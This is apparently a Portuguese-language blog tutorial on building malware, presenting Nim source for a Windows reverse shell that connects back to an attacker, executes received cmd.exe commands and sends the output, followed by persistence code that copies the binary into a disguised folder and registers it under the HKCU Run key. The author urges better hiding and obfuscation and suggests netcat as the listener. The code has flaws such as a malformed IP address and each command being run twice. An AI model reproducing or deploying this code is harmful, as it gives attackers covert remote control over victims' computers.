Olá, Neste post estarei demonstrando alguns princípios de construção de malware através da criação de um shell reverso com código-fonte incluído. O programa será escrito em nim. Observação: este código é uma prova de uso de conceito em risco.
para começar vamos colocar algum código aqui
Código:
import std/[net, osproc, strformat]
const shell = ">>> "
let
ip = "192..192.19.1"
portt = 4343
sock = newSocket()
try:
sock.connect(ip, portt.Port)
while true:
send(sock, shell)
let
load = recvLine(sock)
execute = execProcess(fmt"cmd.exe /C " & load)
discard execProcess(fmt"cmd.exe /C " & load)
send(sock, execute)
except:
quit(fmt"cmd.exe /C ")
Agora vamos ver o que esse código está fazendo.
Em primeiro lugar, definimos algumas variáveis para conectar. Esses são o endereço IP desejado e a porta, também definimos uma variável como um novo soquete. Em seguida, nos conectamos ao invasor. Em seguida, temos uma instrução while true que faz duas coisas. Um envia nosso shell e, em seguida, espera receber um comando e executa esse comando. Agora vamos entrar em alguma persistência.
Código:
import winregistry
createDir("""C:\Program logs\log history""")
copyFileToDir("reverse_shell.exe", """C:\Program logs\log history""")
var h: RegHandle
h = open("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", samWrite)
h.writeString("reverse_shell", """"C:\Program logs\log history\reverse_shell.exe"""")
Esse código cria uma regKey e um diretório para armazenar nosso programa. No entanto, você desejará ocultá-lo melhor do que isso. Portanto, agora temos um programa que pode receber comandos cmd de um invasor usando alguns princípios básicos de malware. Para além deste código iráquerer ter mais cuidado com a ofuscação
Cada objectivo da importação é o seguinte
rede para conectar
osproc para executar os comandos cmd
strformat para formatar as strings que queremos executar
winregistry para criar chaves de registro
Você pode usar o Netcats como ouvinte, embora ele não suporte várias conexões